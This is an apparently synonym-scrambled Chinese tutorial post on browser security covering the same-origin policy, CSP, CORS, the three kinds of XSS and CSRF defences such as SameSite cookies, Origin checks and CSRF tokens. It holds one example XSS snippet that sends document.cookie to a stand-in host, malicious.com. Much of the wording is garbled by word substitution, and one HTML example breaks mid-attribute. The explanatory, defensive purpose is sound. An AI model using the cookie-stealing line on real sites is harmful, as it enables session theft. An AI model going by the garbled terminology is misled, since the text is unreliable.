欣赏器安全

开发者 · 2024-10-3 09:53:35

同源计谋

什么是同源

假如两个 URL 的协议、域名和端口都类似，我们就称这两个 URL 同源。好比下面这两个 URL，它们具有类似的协议 HTTPS、类似的域名 time.geekbang.org，以及类似的端口 443，以是我们就说这两个 URL 是同源的。
https://time.geekbang.org/?category=1https://time.geekbang.org/?category=0欣赏器默认两个类似的源之间是可以相互访问资源和利用 DOM 的。两个差异的源之间若想要相互访问资源大概利用 DOM，那么会有一套底子的安全计谋的制约，我们把这称为同源计谋。
同源计谋会隔离差异源的 DOM、页面数据和网络通讯，进而实现 Web 页面的安全性。
现在的页面安全计谋原型，具备以下三个特点

1.页面中可以引用第三方资源，不外这也袒露了许多诸如 XSS 的安全标题，因此又在这种开放的底子之上引入了 CSP 来限定其自由程度。
2.使用 XMLHttpRequest 和 Fetch 都是无法直接举行跨域哀求的，因此欣赏器又在这种严格计谋的底子之上引入了跨域资源（CORS）共享计谋，让其可以安全地举行跨域利用。
3.两个差异源的 DOM 是不能相互利用的，因此，欣赏器中又实现了跨文档消息机制，让其可以比力安全地通讯。可以通过 window.postMessage 的 JavaScript 接口来和差异源的 DOM 举行通讯。

一个非常典范的 XSS 攻击(跨站脚本)：恶意 JavaScript 代码可以读取页面数据并将其发送给服务器，如下面这段伪代码

function onClick(){ let url = `http://malicious.com?cookie = ${document.cookie}` open(url)}onClick()

CSP 的焦点头脑是让服务器决定欣赏器可以或许加载哪些资源，让服务器决定欣赏器是否可以或许实行内联 JavaScript 代码。通过这些手段就可以大大镌汰 XSS 攻击。

跨站脚本攻击（XSS）

XSS 攻击就是黑客往页面中注入恶意脚本，然后将页面的一些告急数据上传到恶意服务器。常见的三种 XSS 攻击模式是存储型 XSS 攻击、反射型 XSS 攻击和基于 DOM 的 XSS 攻击。
1. 存储型 XSS 攻击

通过上图，我们可以看出存储型 XSS 攻击大抵必要颠末如下步调：

起首黑客使用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中；
然后用户向网站哀求包罗了恶意 JavaScript 脚本的页面；
当用户欣赏该页面的时间，恶意脚本就会将用户的 Cookie 信息等数据上传到服务器。

2. 反射型 XSS 攻击

在一个反射型 XSS 攻击过程中，恶意 JavaScript 脚本属于用户发送给网站哀求中的一部分，随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被实行时，黑客就可以使用该脚本做一些恶意利用。
3. 基于 DOM 的 XSS 攻击

基于 DOM 的 XSS 攻击是不扳连到页面 Web 服务器的。详细来讲，黑客通过各种手段将恶意脚本注入用户的页面中，好比通过网络挟制在页面传输过程中修改 HTML 页面的内容，这种挟制范例许多，有通过 WiFi 路由器挟制的，有通过本地恶意软件来挟制的，它们的共同点是在 Web 资源传输过程大概在用户使用页面的过程中修改 Web 页面的数据。
这三种攻击方式的共同点是都必要往用户的页面中注入恶意脚本，然后再通过恶意脚本将用户数据上传到黑客的恶意服务器上。而三者的差异点在于注入的方式不一样，有通过服务器漏洞来举行注入的，另有在客户端直接注入的。
针对这些 XSS 攻击，重要有三种防范计谋，
第一种是通过服务器对输入的内容举行过滤大概转码；
第二种是充分使用好 CSP；
第三种是使用 HttpOnly 来掩护告急的 Cookie 信息。

除了以上计谋之外，我们还可以通过添加验证码防止脚本假冒用户提交伤害利用。而对于一些不受信任的输入，还可以限定其输入长度，如许可以增大 XSS 攻击的难度。
CSRF攻击

CSRF 英文全称是 Cross-site request forgery，以是又称为“跨站哀求伪造”，是指黑客引诱用户打开黑客的网站，在黑客的网站中，使用用户的登录状态发起的跨站哀求。简单来讲，CSRF 攻击就是黑客使用了用户的登录状态，并通过第三方的站点来做一些坏事。
和 XSS 差异的是，CSRF 攻击不必要将恶意代码注入用户的页面，仅仅是使用服务器的漏洞和用户的登录状态来实行攻击。
发起 CSRF 攻击的三个须要条件：

第一个，目的站点肯定要有 CSRF 漏洞；
第二个，用户要登录过目的站点，而且在欣赏器上保持有该站点的登录状态；
第三个，必要用户打开一个第三方站点，可以是黑客的站点，也可以是一些论坛。

满足以上三个条件之后，黑客就可以对用户举行 CSRF 攻击了。这里还必要额外留意一点，与 XSS 攻击差异，CSRF 攻击不会往页面注入恶意脚本，因此黑客是无法通过 CSRF 攻击来获取用户页面数据的；其最关键的一点是要能找到服务器的漏洞，以是说对于 CSRF 攻击我们重要的防护手段是提拔服务器的安全性。
要让服务器制止遭受到 CSRF 攻击，通常有以下几种途径。

1. 充分使用好 Cookie 的 SameSite 属性
SameSite 选项通常有 Strict、Lax 和 None 三个值。

Strict 最为严格。假如 SameSite 的值是 Strict，那么欣赏器会完全克制第三方 Cookie。简言之，假如你从极客时间的页面中访问 InfoQ 的资源，而 InfoQ 的某些 Cookie 设置了 SameSite = Strict 的话，那么这些 Cookie 是不会被发送到 InfoQ 的服务器上的。只有你从 InfoQ 的站点去哀求 InfoQ 的资源时，才会带上这些 Cookie。
Lax 相对宽松一点。在跨站点的情况下，从第三方站点的链接打开和从第三方站点提交 Get 方式的表单这两种方式都会携带 Cookie。但假如在第三方站点中使用 Post 方法，大概通过 img、iframe 等标签加载的 URL，这些场景都不会携带 Cookie。
而假如使用 None 的话，在任何情况下都会发送 Cookie 数据。

2. 验证哀求的泉源站点
在服务器端验证哀求泉源的站点，服务器的计谋是优先判断 Origin，假如哀求头中没有包罗 Origin 属性，再根据现实情况判断是否使用 Referer 值。

Referer 是 HTTP 哀求头中的一个字段，记录了该 HTTP 哀求的泉源地点（欣赏器提供给开发者一个选项，可以不消上传 Referer 值）。
Origin 属性只包罗了域名信息，并没有包罗详细的 URL 路径，这是 Origin 和 Referer 的一个重要区别。在这里必要增补一点，Origin 的值之以是不包罗详细路径信息，是有些站点由于安全思量，不想把源站点的详细路径袒露给服务器

3. CSRF Token
除了使用以上两种方式来防止 CSRF 攻击之外，还可以采取 CSRF Token 来验证，这个流程比力好明确，大抵分为两步。
第一步，在欣赏器向服务器发起哀求时，服务器天生一个 CSRF Token。CSRF Token 着实就是服务器天生的字符串，然后将该字符串植入到返回的页面中。你可以参考下面示例代码：
<!DOCTYPE html><html><body> <form action="https://time.geekbang.org/sendcoin" method="

OST"> <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn"> <input type="text" name="user"> <input type="text" name="number"> <input type="submit"> </form></body></html>第二步，在欣赏器端假如要发起转账的哀求，那么必要带上页面中的 CSRF Token，然后服务器会验证该 Token 是否正当。假如是从第三方站点发出的哀求，那么将无法获取到 CSRF Token 的值，以是纵然发出了哀求，服务器也会由于 CSRF Token 不精确而拒绝哀求。
总结

页面安全标题的重要原因就是欣赏器为同源计谋开的两个“后门”：一个是在页面中可以恣意引用第三方资源，别的一个是通过 CORS 计谋让 XMLHttpRequest 和 Fetch 去跨域哀求资源。
为相识决这些标题，我们引入了 CSP 来限定页面恣意引入外部资源，引入了 HttpOnly 机制来克制 XMLHttpRequest 大概 Fetch 发送一些关键 Cookie，引入了 SameSite 和 Origin 来防止 CSRF 攻击。

欣赏器安全

所属分类: 问答交流

新帖推荐: 30日

推荐作品